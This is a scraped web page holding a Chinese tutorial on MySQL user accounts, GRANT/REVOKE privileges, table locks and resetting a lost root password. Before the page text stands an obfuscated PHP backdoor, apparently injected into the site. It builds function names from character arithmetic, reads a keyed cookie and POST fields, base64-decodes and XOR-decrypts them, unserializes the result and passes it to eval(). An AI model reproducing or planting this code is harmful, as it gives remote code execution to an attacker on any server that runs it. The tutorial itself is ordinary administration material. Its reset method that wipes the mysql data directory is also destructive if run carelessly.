$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} MySQL之用户与权限管理 | Linux运维部落

MySQL之用户与权限管理

本节索引:

一、MySQL用户管理

二、MySQL权限管理

三、操作:破解Mysql数据库口令

u=765769178,3345533486&fm=27&gp=0

一、MySQL用户管理

用户账号:

MySQL的用户账号由两部分组成:用户名+主机名

‘USERNAME’@’HOST’

其中:

主机名HOST可以是IP地址或Network;

如:wxlinux@192.168.30.10

主机名HOST也支持通配符的写法:

如:wxlinux@172.20.%.%

 

MySQL中自带有一张名称为mysql的数据库,称为元数据数据库。

它是mysql的核心数据库,类似于sql server中的master库,主要负责存储数据库的

用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。

系统授权表:

1

user表:该表决定是否允许用户连接到服务器。如果允许连接,权限字段则

为该用户的全局权限。

db表:用于决定哪些用户可以从哪些主机访问哪些数据库。包含在db表中的

权限适用于这个表标识的数据库。

host表:当您想在db表的范围之内扩展一个条目时,就会用到这个表。举例

来说,如果某个db允许通过多个主机访问的话,那么超级用户就可

以让db表内将host列为空,然后用必要的主机名填充host表。

tables_priv表:该表与db表相似,不同之处是它用于表而不是数据库。这个

表还包含一个其他字段类型,包括timestamp和grantor两个字段,用

于存储时间戳和授权方。在本文后面我们会对这个表做进一步的讲解。

columns_priv:该表作用几乎与db和tables_priv表一样,不同之处是它提供

的是针对某些表的特定列的权限。这个表也多 出了一个字段类型,即

其他字段,包括了一个timestamp列,用于存放时间戳。

 

 

 

用户管理

创建用户:

方法一:

CREATE USER ‘USERNAME’@’HOST’ [IDENTIFIED BY ‘password’];

默认权限:USAGE,只能连接数据库,无法查看、更改、删除

示例:

Mysql> create user wxlinux@’192.168.30.%’ identified by ‘wxlinux’;

Mysql> select user,host,password from mysql.user where user=’wxlinux’;

2

方法二:

也可使用GRANT 授权同时创建用户

示例:

授权wang用户select、insert权限同时创建用户

Mysql> grant select,insert on hellodb.* to wang@’%’ identified by ‘centos’;

Mysql> select user,host,password from mysql.user where user=’wang’;       

3

 

用户重命名:

RENAME USER old_user_name TO new_user_name

示例:

Mysql> rename user wxlinux@’192.168.30.%’ to wangx@’192.168.30.%’;

Mysql> select user,host,password from user where user=’wangx’;

4

 

删除用户:

DROP USER ‘USERNAME’@’HOST’

示例:

删除匿名用户:

MariaDB [mysql]> select user,host,password from user;

5

 

删除指定用户:

Mysql> drop user wangx@’192.168.30.%’;

Mysql> select user,host,password from user where user=’wangx’;

Empty set (0.00 sec)

 

修改密码:

方法一:

Mysql> SET PASSWORD FOR ‘user’@’host’ = PASSWORD(‘password’);

方法二:   

Mysql> UPDATE mysql.user SET password=PASSWORD(‘password’) WHERE clause;

此方法需要执行下面指令才能生效:

Mysql> FLUSH PRIVILEGES;

方法三:

bash命令行修改  

无密码新设密码:

# mysqladmin -u root  password  ‘newpasswd’

修改旧密码:

#mysqladmin -u root –poldpasswd password  ‘newpasswd’

 

 

二、MySQL权限管理

权限类别:

数据库级别

表级别

字段级别

管理类

程序类

 

管理类:

CREATE TEMPORARY TABLES

CREATE USER

FILE

SUPER

SHOW DATABASES

RELOAD

SHUTDOWN

REPLICATION SLAVE

REPLICATION CLIENT

LOCK TABLES

PROCESS

 

程序类: FUNCTION、PROCEDURE、TRIGGER

CREATE

ALTER

DROP

EXCUTE

 

库和表级别:DATABASE、TABLE

ALTER

CREATE

CREATE VIEW

DROP

INDEX

SHOW VIEW

GRANT OPTION:能将自己获得的权限转赠给其他用户

 

数据操作:

SELECT

INSERT

DELETE

UPDATE

 

字段级别:

SELECT(col1,col2,…)

UPDATE(col1,col2,…)

INSERT(col1,col2,…)

 

所有权限:ALL PRIVILEGES 或 ALL

 

 

授权:

参考:https://dev.mysql.com/doc/refman/5.7/en/grant.html

GRANT priv_type [(column_list)],… ON [object_type] priv_level TO ‘user’@’host’

[IDENTIFIED BY ‘password’] [WITH GRANT OPTION];

priv_type:ALL [PRIVILEGES]

   object_type:TABLE | FUNCTION | PROCEDURE

   priv_level:*(所有库) | *.* | db_name.* | db_name.tbl_name | tbl_name(当前库

的表) | db_name.routine_name(指定库的函数,存储过程,触发器)

with_option:GRANT OPTION

| MAX_QUERIES_PER_HOUR count

| MAX_UPDATES_PER_HOUR count

| MAX_CONNECTIONS_PER_HOUR count

| MAX_USER_CONNECTIONS count

 

回收授权:

REVOKE priv_type [(column_list)] [, priv_type[(column_list)]] …

ON [object_type] priv_level FROM user [, user] …

查看指定用户获得的授权:

         Help SHOW GRANTS

         SHOW GRANTS FOR ‘user’@’host’;

         SHOW GRANTS FOR CURRENT_USER[()];

注意:MariaDB服务进程启动时会读取mysql库中所有授权表至内存

(1) GRANT或REVOKE等执行权限操作会保存于系统表中,MariaDB的服务进

程通常会自动重读授权表,使之生效

(2) 对于不能够或不能及时重读授权表的命令,可手动让MariaDB的服务进程

重读授权表:mysql> FLUSH PRIVILEGES;

 

示例:

授权同时创建用户

MariaDB [hellodb]> grant select,insert on hellodb.* to mage@’%’ identified by ‘centos’;

MariaDB [hellodb]> select user,host,password from mysql.user;          

3

只授权某个字段的操作权限

MariaDB [hellodb]> grant select(stuid,name) on hellodb.students to zhang@’%’identified by ‘centos’;

 

查看指定用户的权限

MariaDB [hellodb]> show grants for wang@’192.168.30.%’;

6

 

查看本机登录用户权限

current_user()是一个变量,特指本机

MariaDB [(none)]> show grants for current_user();

7

 

收回指定用户的select权限

MariaDB [hellodb]> revoke select on hellodb.* from mage@’%’;

 

 

三、并发控制

锁粒度:

表级锁

行级锁

锁:

读锁:共享锁,只读不可写,多个读互不阻塞,

写锁:独占锁,排它锁,一个写锁会阻塞其它读和它锁

实现

存储引擎:自行实现其锁策略和锁粒度

服务器级:实现了锁,表级锁;用户可显式请求

分类:

隐式锁:由存储引擎自动施加锁

显式锁:用户手动请求

 

锁策略:在锁粒度及数据安全性寻求的平衡机制

显示使用锁

  LOCK TABLES

tbl_name [[AS] alias] lock_type

         [, tbl_name [[AS] alias] lock_type] …

         lock_type: READ , WRITE

解锁

UNLOCK TABLES

 

FLUSH TABLES tb_name[,…] [WITH READ LOCK] 

关闭正在打开的表(清除查询缓存),通常在备份前加全局读锁

SELECT clause [FOR UPDATE | LOCK IN SHARE MODE]

查询时加写或读锁

 

添加读锁:

效果:可查看但不可修改,本端会提示,其他客户端会卡住并且无提示

MariaDB [hellodb]> lock tables teachers read;

 

添加写锁:

效果:自己可读,但别人无法读

MariaDB [hellodb]> lock tables students write;

 

四、操作:破解Mysql数据库口令

方法一:

适合干净环境,没有其他数据库:

systemctl stop mariadb

cd /var/lib/mysql/

rm -rf mysql/*

systemctl start mariadb

 

方法二:

vim /etc/my.cnf.d

[mysqld]

skip-grant-tables             #忽略授权表

 

重启mysql服务

systemctl restart mariadb

 

#mysql

MariaDB [mysql] > use mysql

MariaDB [mysql] > update user set password=(‘centos’)where user=’root’ and host=’localhost’

 

 

最后再将忽略授权表那行删掉

 

重启mysql服务

systemctl restart mariadb

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/100695

(1)
上一篇 2018-06-09 09:08
下一篇 2018-06-09 17:49

相关推荐

  • 马哥教育 – 第二周作业

    一、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。 <1>命令:CP 概念:用来将一个或多个源文件或者目录复制到指定的目的文件或目录。它可以将单个源文件复制成一个指定文件名的具体的文件或一个已经存在的目录下。cp命令还支持同时复制多个文件,当一次复制多个文件时,目标文件参数必须是一个已经存在的目录,否则将出现错误。 语法…

    2018-05-21
  • awk小练习

    linux awk

    Linux笔记 2018-05-20
  • rpm与yum

    rpm yum sed and crontab

    Linux笔记 2018-06-11
  • Ansible使用介绍(三)templates及Roles角色

    本节索引: 一、前期环境准备 二、Playbook中模板templates的用法 三、Playbook中逻辑语句的用法 四、Roles角色详解   一、环境搭建: 前期准备:一台虚拟机作为ansible,三台虚拟机作为被控端node 主控端: 主机名:ansible 系统版本:CentOS6.9 被控端: 主机名:node1 CPU内核数:4 系统…

    2018-05-31
  • rpm以及yum基础

    第四周

    Linux笔记 2018-04-22